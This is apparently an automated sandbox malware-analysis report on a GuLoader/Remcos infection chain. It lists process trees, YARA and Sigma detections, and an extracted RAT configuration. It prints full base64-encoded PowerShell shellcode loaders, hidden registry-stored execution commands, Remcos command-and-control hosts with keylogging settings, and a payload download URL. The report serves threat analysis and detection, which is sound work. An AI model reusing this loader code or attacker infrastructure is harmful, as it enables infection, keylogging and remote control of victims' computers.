MAIABHAGUAbgBuAGUAbQA0ACAAYgBvAHIAdABrAGEAbABkACAAcwBkAGUAdABzAGkAbABrAGUAcwAgAHIAaQBnAG8AcgBpAHMAIABiAGEAbABkAHAAYQB0ACAASABWAEEATABGAEEATgBHACAAUwBhAHQAaQBuAGkAcwBlAHMAZwAgAGEAbgB0AGkAYwBsAGkAbQBhACAAbwB1AHQAcwB0AHIAaQAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIARAB1AGIAbABhAG4AdABzAGYAMwAiACAADQAKAFsAUwBjAHIAaQBwAHQAZQByAGUAMQBdADoAOgBSAGUAYQBkAEYAaQBsAGUAKAAkAFMAYwByAGkAcAB0AGUAcgBlADQALAAkAFMAYwByAGkAcAB0AGUAcgBlADMALAAyADYAMQAyADUALABbAHIAZQBmAF0AJABTAGMAcgBpAHAAdABlAHIAZQA1ACwAMAApAA0ACgAjAFAATwBVAEwAVABSAFkAIABBAHIAZQBuAHAAaABvAHQAbwBsADMAIABQAGEAcgBnACAAUgBlAGcAZQBsADUAIABMAGkAbgBpAHIAdQBuAGEAcwBoACAAVABvAHAAZgAzACAAZABpAGEAbABlAGsAdABpAGsAIABSAGUAcAByAG8AdgBhAGIAOAAgAEcAZQBhAHIAdgBsAGcAZQByAHMAIABVAEQARQBOAEUAVQBSAE8AUAAgAEMAQQBNAEIAVQBDAEEAUwBXACAAZgByAGEAZABtAG0AdABlAHcAZQAgAEYAYQByAHMAaQB1AG4AIABqAGUAcgBuAGIAYQBuAGUAbABpACAATABVAFYAUwBJAEcAQQBOAEcAIABBAGYAZABlAGwAaQBuACAAVABhAGIAZQBsAGwAZQAzACAAUAB1AHIAdgBpAGUAdwAzACAAUABsAGEAYwBlAGgAbwBsACAAYQByAHYAZQAgAFAAcgBpAGEAcAB1AGwAIABSAE8AUwBBAFUAUgAgAGQAaQBzAGMAIABTAFYAQQBSAEwAIABpAG4AZAB1AHMAIABTAE8AVQBCAEkAUwBFAFMAVAAgAHMAYwBoAG8AbwBsAHQAIABMAFIARQBSAEYATABVAEcAIABBAGcAcgBhAGYAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAEkAbQBiAGEAcgBrACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAHIAZQBpAG0AcABsAGkAIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIAQQBmAG0AbgAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBIAE8ATgBEAE4AIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIARABpAHMAcgBpACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAFcAYQB5AGIAIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIARwBBAFMAVABSAE8AQwAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBMAGUAZABkAGUAbAA3ACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAFUAbABkAHMAcABpAG4AMQAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBPAEMAQwBMACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAFUAbgBpAHYAZQByAHMAYQAyACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAFMATwBFAEIATwBSACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAE0AeQBvAHMAaQAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBCAHUAawBzAHMAdABhAGMAIgAgAA0ACgBbAFMAYwByAGkAcAB0AGUAcgBlADEAXQA6ADoAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKAAkAFMAYwByAGkAcAB0AGUAcgBlADMALAAgADAALAAwACwAMAAsADAAKQANAAoADQAKAA== MD5: DBA3E6449E97D4E3DF64527EF7012A10)
  • cmd.exe (PID: 2256 cmdline: "C:\Windows\system32\cmd.exe" /c start /b c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $Retrocogni8=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').Rickey;powershell.exe -windowstyle hidden -encodedcommand($Retrocogni8) MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
    • conhost.exe (PID: 4020 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
    • powershell.exe (PID: 3024 cmdline: c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $Retrocogni8=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').Rickey;powershell.exe -windowstyle hidden -encodedcommand($Retrocogni8) MD5: DBA3E6449E97D4E3DF64527EF7012A10)
      • powershell.exe (PID: 5284 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -encodedcommand IwBhAGcAcgB5ACAAUwBjAHIAaQB2AGUAbgAgAHMAeQBzAHQAZQBtAGsAbwAgAFQAcgBlAGQAagBlADUAIABDAGgAcgBvAG0AaQA4ACAAQgBJAEIATAAgAE8AdgBlAHIAcwB0AHIAZQA3ACAAcAByAGUAYwAgAEYAbwByAGwAaQBnAHMAaQBuADIAIABCAGUAbgBlAGYAaQB0ACAAQQBwAG8AdABoAGUAbwBzAGkAegAgAHUAZABlAHQAaQBsACAATABPAE8AUwBFACAAQgByAG4AZQB2AGUAOQAgAFQAbwBuAHMAaQAyACAAVAByAG8AcABpAHMAIABQAGwAZQB1AHIAbwBsAGkANAAgAGIAbABrAGsAIABDAHkAcwB0AGkAYwBlACAAVQBuAGQAZQByAHIAZQBwAG8AcgAxACAAUAByAG8AYwB1AGwAYwBhAHQAIABQAEEAUwBUAE8AUgAgAFMAYQBuAGcAIABjAG8AbQBiAGEAcgBvAG4AZgBvACAAbwBtAHAAcgAgAEQAYQBtAG4AZQBkADgAIABOAEUAUABIACAARgByAHUAaQB0AGkAdgBlAHIAZQAgAEQARQBGAEEASQBUAEkAUwAgAE0AaQBzAGsAZQBuAGQAZQA1ACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGMAcgBpAHAAdABlAHIAZQAxAA0ACgB7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBuAHQAZABsAGwALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABpAG4AdAAgAE4AdABBAGwAbABvAGMAYQB0AGUAVgBpAHIAdAB1AGEAbABNAGUAbQBvAHIAeQAoAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUANgAsAHIAZQBmACAASQBuAHQAMwAyACAAVABoAGUAbwByAGkAcwBlAHIAMgAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQAsAHIAZQBmACAASQBuAHQAMwAyACAAUwBjAHIAaQBwAHQAZQByAGUALABpAG4AdAAgAEwAZQBqAG4AaQA2ACwAaQBuAHQAIABTAGMAcgBpAHAAdABlAHIAZQA3ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBGAGkAbABlAEEAKABzAHQAcgBpAG4AZwAgAFAAcwBlAHUANAAsAHUAaQBuAHQAIABsAGkAbgBqAGUAcgAsAGkAbgB0ACAAUwBUAFIAWQAsAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUAMAAsAGkAbgB0ACAAUwBFAEUAUgBOAEUALABpAG4AdAAgAFAAYQBjAGkAZgBpAGMAZQByADcALABpAG4AdAAgAEEAZAB2AGkAcwBlAG4AcwA5ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMAAsAHUAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADEALABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMgAsAHIAZQBmACAASQBuAHQAMwAyACAAQQBVAFQATwBBAEMAVABJAFYARQAzACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADQAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUANQAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA2ACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADcALABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAOAAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA5ACkAOwANAAoAfQANAAoAIgBAAA0ACgAjAHIAZQBmAHIAIABDAGEAbgBjAGUAcgBpAG4AYwBvACAATABpAG4AZwB1AGEAdAB1AGwAIABoAGUAYQBsAGUAIABMAEUAVgBJAEcAQQBUACAATABJAEcASwBJAFMAVABFACAAcwB2AG8AdgBsACAAcABsAGEAdABvAG4AaQBzAG0AbQAgAE8AcABkAHIAaQBmAHQAcwAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIAaQBuAHQAZQAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBIAGEAYQBuAGQAYgBvAGwAZABoADYAIgAgAA0ACgAkAFMAYwByAGkAcAB0AGUAcgBlADMAPQAwADsADQAKACQAUwBjAHIAaQBwAHQAZQByAGUAOQA9ADEAMAA0ADgANQA3ADYAOwANAAoAJABTAGMAcgBpAHAAdABlAHIAZQA4AD0AWwBTAGMAcgBpAHAAdABlAHIAZQAxAF0AOgA6AE4AdABBAGwAbABvAGMAYQB0AGUAVgBpAHIAdAB1AGEAbABNAGUAbQBvAHIAeQAoAC0AMQAsAFsAcgBlAGYAXQAkAFMAYwByAGkAcAB0AGUAcgBlADMALAAwACwAWwByAGUAZgBdACQAUwBjAHIAaQBwAHQAZQByAGUAOQAsADEAMgAyADgAOAAsADYANAApAA0ACgAjAE8AYgBsAGkAZwBhAHQAIABPAHAAcwBrAHIAZQByAGYAcgBzACAARABlAHMAbwByADYAIABHAFIAVQBQAFAARQBNAEUARAAgAEwASQBWAFMASwBWAEEAIABzAHQAZQByAHMAcwB0ACAAQQBjAHQAaQBvAG4AYQByADYAIABBAG4AYQByAHQAaAByAG8AMQAgAFcAYQBtAHAAYQBuAG8AYQBnAG0ANwAgAFIAZQBnAG4AdgBlAGoAcgA3ACAAawBvAGUAYgB0AGYAdQByAHoAZQAgAEMAbwByAG4AbABlAHMAcwAzACAAQgByAHkAZwBoAHUAcwBlAGEAIABOAGkAZwBoAHQAaQBtAGUAIABiAGEAYQBsAHQAYQAgAGMAeQBjAGwAbwAgAFMAaQBuAGQAcwAzACAAUABMAEEARABFAEwAQQBHAEUAIABTAGsAaQBuAG4AZQBiAGUANgAgAFoAdwBlAGMAawBzAGMAbwBwADkAIAB0AGUAdQB0AG8AbgBpAHoAIABBAHMAcwBlAHMAcwBvAHIAZQAgAHIAZQBuAGEAcwAgAFYARQBBAEwAIABQAFIAUwBJAEQAIABCAG8AdgBiAGwAIABBAFMAWQBNACAATQBJAFIATwBTAEwASQAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIAUwBwAGkAbgAiACAADQAKACQAUwBjAHIAaQBwAHQAZQByAGUAMgA9ACIAJABlAG4AdgA6AHQAZQBtAHAAIgAgACsAIAAiAFwARwByAHUAbgBkAC4AZABhAHQAIgANAAoAIwBHAGUAbgBiAHIAdQBnAHMANwAgAHAAaAB5AHQAIABjAG8AcAByAGkAIABkAGUAbQBvAG4AcwB0AHIAYQAgAE0AZQB0AGgAeQBsAHAAIABTAG8AYwBpAGEAbAAxACAAcwB0AGEAbABsAGkAbgBnACAAZABvAGMAawB3ACAAdQBuAGIAZQAgAEIAYQBsAGwAYQBzACAAVgBhAG4AZAB1AGQAcwBrAGkAIABEAG8AbQBzACAAVgBlAGwAcwBlAHMAbwB2AGUAcgAgAHAAcgBvAGwAbwBjAHUAdABvAHIAIABUAEkARABTAEsAIABKAHUAcgBpAHMAdAAgAFQAaQBsAHMAaQBrAHIAZQB0AHIAIABzAHAAYQByAGsAZQBuAGUAbQBhACAAYgBlAHMAdAByAG4AaQBuAGcAIABTAFQAWQBSAEkATgBHAFMAQQAgAEIAbwBsAHQAZQBkAGUAIABCAE8ARABZAEcAIABEAEUAUwBVAEwAIABQAG8AcwB0AGEAdQByAGkAYwB1ACAAVAByAHkAawBuADQAIABJAE4ARABJAFYASQBEAFUAQQAgAFAASQBOAEMARQBUAFQAIAANAAoAJABTAGMAcgBpAHAAdABlAHIAZQA0AD0AWwBTAGMAcgBpAHAAdABlAHIAZQAxAF0AOgA6AEMAcgBlAGEAdABlAEYAaQBsAGUAQQAoACQAUwBjAHIAaQBwAHQAZQByAGUAMgAsADIAMQA0ADcANAA4ADMANgA0ADgALAAxACwAMAAsADMALAAxADIAOAAsADAAKQANAAoAIwBTAHUAbQBwAHQAdQBvAHUAcwAgAE0ATwBEAEUAUgBFAFIARQBSACAARAByAHkAcwAgAEgAQQBMAFMAQgBSACAAbABlAGQAaQBnACAARgBsAGEAZwBlAHIAbQB1AHMAZQAgAEUARgBUAEUAUgAgAFMASwBKAE8AUgBUACAARgBsAGkAbgA5ACAAQgBlAG4AZQBmAGkAYwBlAG4AIABmAG8AcgBtACAARQBtAGIAcgBlAGEAYwBoAHMAdAAyACAAZAByAGUAagBuAGkAbgBnAHMAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAHQAagByAGUAIgAgAA0ACgAkAFMAYwByAGkAcAB0AGUAcgBlADUAPQAwADsADQAKACMAbQBlAG4AcwB0AHIAdQBhAHQAZQAgAEEAZgBwAHIAdgBuAGkAbgBnAHMAMgAgAEwAdQBjAGkAbgBkADUAIABwAGUAdAByAGkAcwBhACAARwBlAG8AcABoAGEAZwBpAHMAIABQAGgAaQBsACAAQwB1AHQAdABsAGUANQAgAEEAawBrAG8AIABTAHQAYQBtADMAIABTAEwASQBCAEIARQBSAFMAQQBVACAAVgBlAHIAZABlAG4AcwA0ACAAUwBPAEwASQBEAEEAUgAgAEsAQQBSAFQAQQBVAEQASQBUAFIAIABNAE8AVQBSACAAYwBvAGMAawBzAHAAYQByACAAUwB0AGoAZQByAG4AZQBkADMAIABHAGUAbgBuAGUAbQA0ACAAYgBvAHIAdABrAGEAbABkACAAcwBkAGUAdABzAGkAbABrAGUAcwAgAHIAaQBnAG8AcgBpAHMAIABiAGEAbABkAHAAYQB0ACAASABWAEEATABGAEEATgBHACAAUwBhAHQAaQBuAGkAcwBlAHMAZwAgAGEAbgB0AGkAYwBsAGkAbQBhACAAbwB1AHQAcwB0AHIAaQAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIARAB1AGIAbABhAG4AdABzAGYAMwAiACAADQAKAFsAUwBjAHIAaQBwAHQAZQByAGUAMQBdADoAOgBSAGUAYQBkAEYAaQBsAGUAKAAkAFMAYwByAGkAcAB0AGUAcgBlADQALAAkAFMAYwByAGkAcAB0AGUAcgBlADMALAAyADYAMQAyADUALABbAHIAZQBmAF0AJABTAGMAcgBpAHAAdABlAHIAZQA1ACwAMAApAA0ACgAjAFAATwBVAEwAVABSAFkAIABBAHIAZQBuAHAAaABvAHQAbwBsADMAIABQAGEAcgBnACAAUgBlAGcAZQBsADUAIABMAGkAbgBpAHIAdQBuAGEAcwBoACAAVABvAHAAZgAzACAAZABpAGEAbABlAGsAdABpAGsAIABSAGUAcAByAG8AdgBhAGIAOAAgAEcAZQBhAHIAdgBsAGcAZQByAHMAIABVAEQARQBOAEUAVQBSAE8AUAAgAEMAQQBNAEIAVQBDAEEAUwBXACAAZgByAGEAZABtAG0AdABlAHcAZQAgAEYAYQByAHMAaQB1AG4AIABqAGUAcgBuAGIAYQBuAGUAbABpACAATABVAFYAUwBJAEcAQQBOAEcAIABBAGYAZABlAGwAaQBuACAAVABhAGIAZQBsAGwAZQAzACAAUAB1AHIAdgBpAGUAdwAzACAAUABsAGEAYwBlAGgAbwBsACAAYQByAHYAZQAgAFAAcgBpAGEAcAB1AGwAIABSAE8AUwBBAFUAUgAgAGQAaQBzAGMAIABTAFYAQQBSAEwAIABpAG4AZAB1AHMAIABTAE8AVQBCAEkAUwBFAFMAVAAgAHMAYwBoAG8AbwBsAHQAIABMAFIARQBSAEYATABVAEcAIABBAGcAcgBhAGYAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAEkAbQBiAGEAcgBrACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAHIAZQBpAG0AcABsAGkAIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIAQQBmAG0AbgAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBIAE8ATgBEAE4AIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIARABpAHMAcgBpACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAFcAYQB5AGIAIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIARwBBAFMAVABSAE8AQwAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBMAGUAZABkAGUAbAA3ACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAFUAbABkAHMAcABpAG4AMQAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBPAEMAQwBMACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAFUAbgBpAHYAZQByAHMAYQAyACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAFMATwBFAEIATwBSACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAE0AeQBvAHMAaQAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBCAHUAawBzAHMAdABhAGMAIgAgAA0ACgBbAFMAYwByAGkAcAB0AGUAcgBlADEAXQA6ADoAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKAAkAFMAYwByAGkAcAB0AGUAcgBlADMALAAgADAALAAwACwAMAAsADAAKQANAAoADQAKAA== MD5: DBA3E6449E97D4E3DF64527EF7012A10)
        • csc.exe (PID: 6560 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\yy0zjl34.cmdline MD5: 350C52F71BDED7B99668585C15D70EEA)
          • cvtres.exe (PID: 5372 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESADA2.tmp" "c:\Users\user\AppData\Local\Temp\CSCB8D22C72555343A48341CA7311A8A12.TMP" MD5: C09985AE74F0882F208D75DE27770DFA)
  • cleanup

Malware Configuration

Threatname: Remcos

{"Host:Port:Password": "rnnfibi.hopto.org:54666:1rnnfibiteammony.duckdns.org:54666:1", "Assigned name": "AS-NEW", "Connect interval": "1", "Install flag": "Disable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Disable", "Install path": "AppData", "Copy file": "bguy.exe", "Startup value": "iusk-dikf-iud", "Hide file": "Disable", "Mutex": "Remcos-IXYB2Q", "Keylog flag": "1", "Keylog path": "AppData", "Keylog file": "logs.dat", "Keylog crypt": "Disable", "Hide keylog file": "Disable", "Screenshot flag": "Disable", "Screenshot time": "10", "Take Screenshot option": "Disable", "Take screenshot title": "notepad;solitaire;", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5", "Audio path": "AppData", "Audio folder": "MicRecords", "Connect delay": "0", "Copy folder": "Remcos", "Keylog folder": "remcos", "Keylog file max size": "20000"}

Threatname: GuLoader

{"Payload URL": "https://www.wizumiya.co.jp/html/user_data/original/images/Ev"}

Yara Overview

Memory Dumps

SourceRuleDescriptionAuthorStrings
0000000C.00000002.642638940.0000000009300000.00000040.00000001.sdmpJoeSecurity_GuLoader_2Yara detected GuLoaderJoe Security
    00000014.00000002.852534659.000000000364B000.00000004.00000020.sdmpJoeSecurity_RemcosYara detected Remcos RATJoe Security
      00000014.00000002.852416599.000000000361C000.00000004.00000020.sdmpJoeSecurity_RemcosYara detected Remcos RATJoe Security
        00000014.00000000.585462965.0000000000EF0000.00000040.00000001.sdmpJoeSecurity_GuLoader_2Yara detected GuLoaderJoe Security
          0000001C.00000002.900361754.00000000090B0000.00000040.00000010.sdmpJoeSecurity_GuLoader_2Yara detected GuLoaderJoe Security
            Click to see the 4 entries

            Sigma Overview

            System Summary

            barindex
            Source: Process startedAuthor: Florian Roth: Data: Command: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\tm43worv.cmdline, CommandLine: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\tm43worv.cmdline, CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, ParentCommandLine: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBhAGcAcgB5ACAAUwBjAHIAaQB2AGUAbgAgAHMAeQBzAHQAZQBtAGsAbwAgAFQAcgBlAGQAagBlADUAIABDAGgAcgBvAG0AaQA4ACAAQgBJAEIATAAgAE8AdgBlAHIAcwB0AHIAZQA3ACAAcAByAGUAYwAgAEYAbwByAGwAaQBnAHMAaQBuADIAIABCAGUAbgBlAGYAaQB0ACAAQQBwAG8AdABoAGUAbwBzAGkAegAgAHUAZABlAHQAaQBsACAATABPAE8AUwBFACAAQgByAG4AZQB2AGUAOQAgAFQAbwBuAHMAaQAyACAAVAByAG8AcABpAHMAIABQAGwAZQB1AHIAbwBsAGkANAAgAGIAbABrAGsAIABDAHkAcwB0AGkAYwBlACAAVQBuAGQAZQByAHIAZQBwAG8AcgAxACAAUAByAG8AYwB1AGwAYwBhAHQAIABQAEEAUwBUAE8AUgAgAFMAYQBuAGcAIABjAG8AbQBiAGEAcgBvAG4AZgBvACAAbwBtAHAAcgAgAEQAYQBtAG4AZQBkADgAIABOAEUAUABIACAARgByAHUAaQB0AGkAdgBlAHIAZQAgAEQARQBGAEEASQBUAEkAUwAgAE0AaQBzAGsAZQBuAGQAZQA1ACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGMAcgBpAHAAdABlAHIAZQAxAA0ACgB7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBuAHQAZABsAGwALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABpAG4AdAAgAE4AdABBAGwAbABvAGMAYQB0AGUAVgBpAHIAdAB1AGEAbABNAGUAbQBvAHIAeQAoAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUANgAsAHIAZQBmACAASQBuAHQAMwAyACAAVABoAGUAbwByAGkAcwBlAHIAMgAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQAsAHIAZQBmACAASQBuAHQAMwAyACAAUwBjAHIAaQBwAHQAZQByAGUALABpAG4AdAAgAEwAZQBqAG4AaQA2ACwAaQBuAHQAIABTAGMAcgBpAHAAdABlAHIAZQA3ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBGAGkAbABlAEEAKABzAHQAcgBpAG4AZwAgAFAAcwBlAHUANAAsAHUAaQBuAHQAIABsAGkAbgBqAGUAcgAsAGkAbgB0ACAAUwBUAFIAWQAsAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUAMAAsAGkAbgB0ACAAUwBFAEUAUgBOAEUALABpAG4AdAAgAFAAYQBjAGkAZgBpAGMAZQByADcALABpAG4AdAAgAEEAZAB2AGkAcwBlAG4AcwA5ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMAAsAHUAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADEALABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMgAsAHIAZQBmACAASQBuAHQAMwAyACAAQQBVAFQATwBBAEMAVABJAFYARQAzACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADQAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMA
            Source: Process startedAuthor: frack113: Data: Command: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBhAGcAcgB5ACAAUwBjAHIAaQB2AGUAbgAgAHMAeQBzAHQAZQBtAGsAbwAgAFQAcgBlAGQAagBlADUAIABDAGgAcgBvAG0AaQA4ACAAQgBJAEIATAAgAE8AdgBlAHIAcwB0AHIAZQA3ACAAcAByAGUAYwAgAEYAbwByAGwAaQBnAHMAaQBuADIAIABCAGUAbgBlAGYAaQB0ACAAQQBwAG8AdABoAGUAbwBzAGkAegAgAHUAZABlAHQAaQBsACAATABPAE8AUwBFACAAQgByAG4AZQB2AGUAOQAgAFQAbwBuAHMAaQAyACAAVAByAG8AcABpAHMAIABQAGwAZQB1AHIAbwBsAGkANAAgAGIAbABrAGsAIABDAHkAcwB0AGkAYwBlACAAVQBuAGQAZQByAHIAZQBwAG8AcgAxACAAUAByAG8AYwB1AGwAYwBhAHQAIABQAEEAUwBUAE8AUgAgAFMAYQBuAGcAIABjAG8AbQBiAGEAcgBvAG4AZgBvACAAbwBtAHAAcgAgAEQAYQBtAG4AZQBkADgAIABOAEUAUABIACAARgByAHUAaQB0AGkAdgBlAHIAZQAgAEQARQBGAEEASQBUAEkAUwAgAE0AaQBzAGsAZQBuAGQAZQA1ACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGMAcgBpAHAAdABlAHIAZQAxAA0ACgB7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBuAHQAZABsAGwALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABpAG4AdAAgAE4AdABBAGwAbABvAGMAYQB0AGUAVgBpAHIAdAB1AGEAbABNAGUAbQBvAHIAeQAoAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUANgAsAHIAZQBmACAASQBuAHQAMwAyACAAVABoAGUAbwByAGkAcwBlAHIAMgAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQAsAHIAZQBmACAASQBuAHQAMwAyACAAUwBjAHIAaQBwAHQAZQByAGU